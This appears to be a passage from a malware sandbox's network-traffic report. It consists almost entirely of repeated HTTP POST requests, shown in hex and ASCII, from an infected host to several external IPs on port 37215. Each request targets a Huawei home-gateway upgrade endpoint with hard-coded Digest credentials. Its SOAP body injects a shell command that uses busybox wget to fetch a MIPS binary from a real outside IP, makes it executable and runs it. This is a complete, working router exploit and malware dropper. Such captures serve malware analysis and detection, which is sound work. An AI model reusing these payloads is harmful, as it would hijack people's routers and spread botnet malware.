6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:18.652640104 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	48006	160.181.168.106	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:04.583358049 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:06.492646933 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:08.928529978 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:13.532592058 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	48236	156.241.94.104	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:07.901170969 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:09.500618935 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:11.388523102 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:15.324624062 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 